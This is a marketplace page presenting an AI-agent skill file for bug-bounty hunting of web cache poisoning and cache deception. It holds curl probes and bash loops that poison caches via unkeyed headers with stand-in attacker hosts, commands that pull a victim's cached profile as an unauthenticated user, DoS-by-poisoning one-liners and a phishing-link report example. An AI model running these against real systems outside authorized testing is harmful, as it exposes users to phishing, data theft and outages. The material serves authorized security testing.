본문으로 건너뛰기
cccskills
무료GitHub에 공개

cache-poisoning

Hunt web cache poisoning, CDN cache poisoning, and cache deception attacks. Use when target uses a CDN (Cloudflare, Akamai, Fastly, AWS CloudFront) or has Varnish/nginx caches and you want to identify cache key flaws that let attackers serve malicious content to other users.

한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.

연동 도구CloudflareAWS
설치 방법 보기

포함된 파일(1)

  • SKILL.md10.2 KB

SKILL.md(원문)

설치하기 전에 에이전트에게 전달되는 지시 내용을 확인할 수 있습니다.

Cache Poisoning & Cache Deception

Affect one user → affect millions.

When to invoke

Trigger phrases:

  • "cache poisoning"
  • "web cache"
  • "CDN attack"
  • "cache deception"

Two distinct attacks

Cache Poisoning

Attacker sends a crafted request → response contains malicious content → cache stores it → all subsequent users get the malicious response.

Cache Deception

Attacker tricks the cache into storing another user's authenticated content at a public URL → attacker reads private data via cache.

Core concept: cache key

Cache key = how the cache identifies "same request"

If cache key = URL only:
  Request 1: GET /home with X-Forwarded-Host: attacker.com
  Cache stores response (which includes attacker.com in Location)
  Request 2: GET /home (no header) → served from cache → attacker.com link

Unkeyed inputs (parts of request NOT in cache key but affecting response) = poisoning opportunity.

Detection

Check if response is cached

curl -sI "https://target.com/" | grep -iE 'cache-control|age|x-cache|cf-cache-status|cf-ray|x-served-by|via|x-cache-hits'

# Indicators of caching:
# Cache-Control: public, max-age=86400
# Age: 1234              ← seconds since cached
# X-Cache: HIT           ← served from cache
# CF-Cache-Status: HIT   ← Cloudflare cache
# X-Served-By: cache-...

Find unkeyed inputs

Send a request with a marker header. Send a second clean request. Does the second response contain the marker?

# Step 1: poison probe
curl -s "https://target.com/" -H "X-Forwarded-Host: ccs-canary.attacker.com" -o /dev/null

# Step 2: fresh request from a different IP/user (or cache-buster)
curl -s "https://target.com/?cb=$(date +%s)" | grep "ccs-canary.attacker.com"

# Step 3: if marker appears in another request's response → cache key is incomplete

Common unkeyed inputs to test

InputEffect
X-Forwarded-HostAffects Location headers, absolute URLs
X-Forwarded-Protohttp vs https in generated URLs
X-Forwarded-SchemeSame
X-Original-URLReroutes
X-Rewrite-URLReroutes
X-HostLike XFH
Host (sometimes unkeyed!)Backend differs
ForwardedRFC 7239 version of XFF
X-Original-URLURL rewriting
OriginReflects to CORS headers
Cookie paramsSome caches don't include all cookies in key
URL query params (some)utm_*, _=, etc. often ignored
Trailing ? or ;Cache may strip → match with non-? variant

Step-by-Step Workflow

1. Inventory cacheable endpoints

# Look for caches in your asset-discovery output
cat httpx.jsonl | jq -r 'select(.headers.cache_control != null and (.headers.cache_control | tostring | test("public|max-age"))) | .url' > cacheable.txt

2. Test for unkeyed-header poisoning with Param Miner

Burp extension Param Miner has a "Guess headers" mode that fuzzes hundreds of unkeyed inputs.

Run on each cacheable endpoint → review the "issues" list.

Manual probe:

TARGET="https://target.com/"
HEADER_TESTS=(
    "X-Forwarded-Host"
    "X-Forwarded-For"
    "X-Forwarded-Proto"
    "X-Original-URL"
    "X-Rewrite-URL"
    "X-Host"
    "X-Forwarded-Scheme"
    "Origin"
    "Forwarded"
    "X-Forwarded-Server"
)

CANARY="ccs-canary-$(uuidgen | head -c 8).attacker.com"

for h in "${HEADER_TESTS[@]}"; do
    # Poison
    curl -s "$TARGET?cb=test1" -H "$h: $CANARY" -o /dev/null

    # Verify on second request (different cache buster)
    response=$(curl -s "$TARGET?cb=test2")
    if echo "$response" | grep -q "$CANARY"; then
        echo "[REFLECTED + may be cached] $h"
    fi
done

3. Try cache deception

Goal: get the cache to store a private response at a public URL.

Authentic URL:    /account/profile          (sensitive, not cached, requires auth)
Trick URL:        /account/profile.css      (cache: "looks like CSS — cache it!")

If the app routing resolves /account/profile.css → same handler as /account/profile,
and the cache decides based on extension → poisoning by deception.

Test:

# Login as victim
curl -s "https://target.com/account/profile.css" --cookie "session=victim" -o /dev/null

# As attacker (no cookies), fetch the same URL → may get victim's cached content
curl -s "https://target.com/account/profile.css" -o stolen.html

# If stolen.html contains victim's profile data → deception confirmed

Try variations:

/account/profile/                  ← trailing slash
/account/profile/foo.css           ← path traversal style
/account/profile;.css              ← matrix param
/account/profile..css
/account/profile.js
/account/profile.png
/account/profile?.css

4. Cache key normalization tricks

Some caches normalize URLs before key generation:

/foo  and  /foo/  → same key?
/foo  and  /FOO   → same key?
/foo?a=1&b=2  and  /foo?b=2&a=1  → same key?
/foo?a=1  and  /foo?a=1#fragment → same key?

If they differ but content is same → no bug, just inefficient.
If they're considered same but generate different content → poisoning surface.

5. Test for fat-GET / unkeyed body

# Some caches ignore body, even for GET
GET /resource HTTP/1.1
Host: target.com
Content-Length: 13

malicious-data

If the response varies based on body but cache key is just URL → unkeyed body poisoning.

6. CDN-specific quirks

Cloudflare:

  • Cache-Control: private is honored
  • Query string keying configurable per-zone
  • Worker scripts can be bypassed via specific endpoints

Akamai:

  • Pragma debug headers can leak cache state
  • ICP header can reveal cache hit/miss

Fastly:

  • Surrogate-Key header
  • ESI can be exploited if enabled

CloudFront:

  • Cache key behavior configurable per-distribution
  • Query string forwarding settings often misconfigured

7. Cache poisoning to DoS

Even without sensitive impact, you can DoS by poisoning:

# Poison with broken HTML
curl -H "X-Forwarded-Proto: ://" target.com/  # may break Location header
# Now all subsequent users see broken page until cache expires

# Or oversize header
curl -H "X-Forwarded-Host: $(python3 -c 'print("A"*8000)')" target.com/
# 400/500 response cached → DoS until eviction

Tools

# Param Miner (Burp BApp) — guesses unkeyed parameters/headers automatically
# Web Cache Vulnerability Scanner (Hackmanit)
pip install web-cache-vulnerability-scanner

# Mary (cache poisoning automation by NahamSec / others)

Output template

## High: Web cache poisoning via X-Forwarded-Host on /home

### Summary
The home page (`/home`) caches publicly with `Cache-Control: public, max-age=300`. The cache key does NOT include the `X-Forwarded-Host` header, but the application uses this header to generate canonical URLs (Open Graph `og:url`, login link `href`). By sending one crafted request, an attacker can poison the cache for 5 minutes, causing all users to see a phishing-domain login link.

### Steps to reproduce
1. Poison the cache (single request):
   ```http
   GET /home HTTP/1.1
   Host: target.com
   X-Forwarded-Host: phish.attacker.com
  1. Wait ~1 second for cache write.
  2. From a different IP/browser, request /home normally:
    GET /home HTTP/1.1
    Host: target.com
    
  3. Response body contains:
    <meta property="og:url" content="https://phish.attacker.com/home">
    <a href="https://phish.attacker.com/login" class="login-link">Log in</a>
    
  4. The poisoned response persists for ~300s.

Impact

  • All visitors during the 5-minute window see the phishing link as the official "Log in" button.
  • Attacker can re-poison every 5 minutes indefinitely.
  • High-trust phishing: link IS displayed on target.com, but goes to attacker's clone of the login.
  • Combined with credentials submission to a clone, mass account takeover.

Suggested fix

  • Add X-Forwarded-Host to the cache key (Vary: X-Forwarded-Host).
  • OR ignore X-Forwarded-Host in URL generation (use server-set Host or canonical config).
  • OR set Cache-Control: private for /home if personalization is required.

## Cross-references

- `[[xss]]` — cache poisoning + reflected XSS = mass XSS
- `[[ato-chains]]` — phishing link via cache → ATO at scale
- `[[http-smuggling]]` — request smuggling + cache poisoning = devastating chain
- `[[fingerprinting]]` — identify CDN before testing

## Common pitfalls

1. **Testing on YOUR cache only** (browser cache, local). Always use cache-busters and verify another client sees the poison.
2. **Reporting reflected unkeyed input without showing cache hit.** Triagers want to see the poisoning persist.
3. **Causing real DoS in production.** Throttle. Test on a low-traffic path.
4. **Not respecting cache TTL in reproduction steps.** Triager replays after TTL → no repro → N/A.
5. **Cache-busting via header but reporting "no cache-buster needed".** Document exactly how you reproduced.

## Severity guide

| Poisoning effect | Severity |
|---|---|
| Mass XSS via cached response | Critical |
| Phishing link injected globally | High |
| Broken site (DoS-by-poison) | Medium-High |
| Information disclosure (cached private data via deception) | High-Critical |
| Cache deception (login pages cached) | Critical |
| Cosmetic break only | Low (often informative) |

## Cache headers to set in your repro

```http
Cache-Control: no-cache, no-store
Pragma: no-cache

# Or use unique cache buster
?_=1234567

Quick canary script

#!/bin/bash
URL="$1"
CANARY="bb-$(uuidgen | head -c 12)"

# Standard unkeyed headers
HEADERS=(
    "X-Forwarded-Host"
    "X-Original-URL"
    "X-Forwarded-Scheme"
    "X-Forwarded-Proto"
    "X-Rewrite-URL"
    "X-Host"
    "Origin"
)

for H in "${HEADERS[@]}"; do
    # Poison
    curl -s "$URL?_=$CANARY-poison" -H "$H: $CANARY.attacker.test" -o /dev/null

    # Verify
    if curl -s "$URL?_=$CANARY-verify" | grep -q "$CANARY"; then
        echo "[POISONABLE] $H"
    fi
done

리뷰

아직 리뷰가 없습니다. 사용해 본 소감을 남겨 주세요.

댓글

로그인 없이 쓸 수 있습니다. 사용 후기, 질문, 작동하지 않은 환경 등을 편하게 남겨 주세요.

아직 댓글이 없습니다. 첫 댓글을 남겨 보세요.

보내면 바로 공개됩니다. 이메일 주소나 전화번호 같은 개인 정보는 쓰지 마세요. URL은 2개까지입니다.

0 / 1,000자

이 양식은 reCAPTCHA로 보호되며 Google 개인정보처리방침 및 서비스 약관이 적용됩니다.

같은 저장소의 스킬

Probe subdomain list with httpx/dnsx/naabu to identify live hosts, open ports, status codes, titles, and basic fingerprints. Use after subdomain-enum produces a sub list. Output feeds into fingerprinting and content discovery.

한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.

0xGhostCAT/claude-ai-cyber-security-skills442026년 6월 3일 업데이트

Hunt full Account Takeover (ATO) by chaining lower-severity findings — IDOR-to-email-disclosure, password-reset-token-theft, OAuth-redirect-uri abuse, response-manipulation, cookie scope, CRLF in Set-Cookie, race-condition on signup. Use when the user wants to escalate small findings to ATO or thinks an ATO path exists.

한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.

0xGhostCAT/claude-ai-cyber-security-skills442026년 6월 3일 업데이트

Hunt authentication and authorization bypasses — forced browsing, path traversal in auth, header injection, JWT downgrade, OAuth state confusion, role manipulation. Use when an endpoint returns 401/403 but appears reachable.

한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.

0xGhostCAT/claude-ai-cyber-security-skills442026년 6월 3일 업데이트

Write Bugcrowd-format reports — VRT (Vulnerability Rating Taxonomy) mapping, P1-P5 severity, impact-led writing, and Bugcrowd-specific submission etiquette. Use AFTER triage-validation passes for Bugcrowd programs.

한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.

0xGhostCAT/claude-ai-cyber-security-skills442026년 6월 3일 업데이트

Hunt business logic flaws — race conditions, workflow state bypass, parameter pollution affecting logic, coupon/discount abuse, refund logic, multi-step process bypass, integer overflow, negative quantities, double-spend. Use when looking for non-CVE bugs that require understanding the app's intended workflow.

한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.

0xGhostCAT/claude-ai-cyber-security-skills442026년 6월 3일 업데이트

Hunt cloud misconfigurations exposed externally — open S3/GCS buckets, exposed IAM-tied EC2 metadata, Cognito misconfig, GitHub Actions secret leakage, exposed Kubernetes API, public Elastic / Kibana / Mongo, Firebase RTDB rules, weak AWS access keys discovered in JS/mobile. Use when leveraging leaked credentials or hunting cloud surface in scope.

한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.

0xGhostCAT/claude-ai-cyber-security-skills442026년 6월 3일 업데이트

0xGhostCAT의 스킬 모두 보기

이 스킬의 문제 신고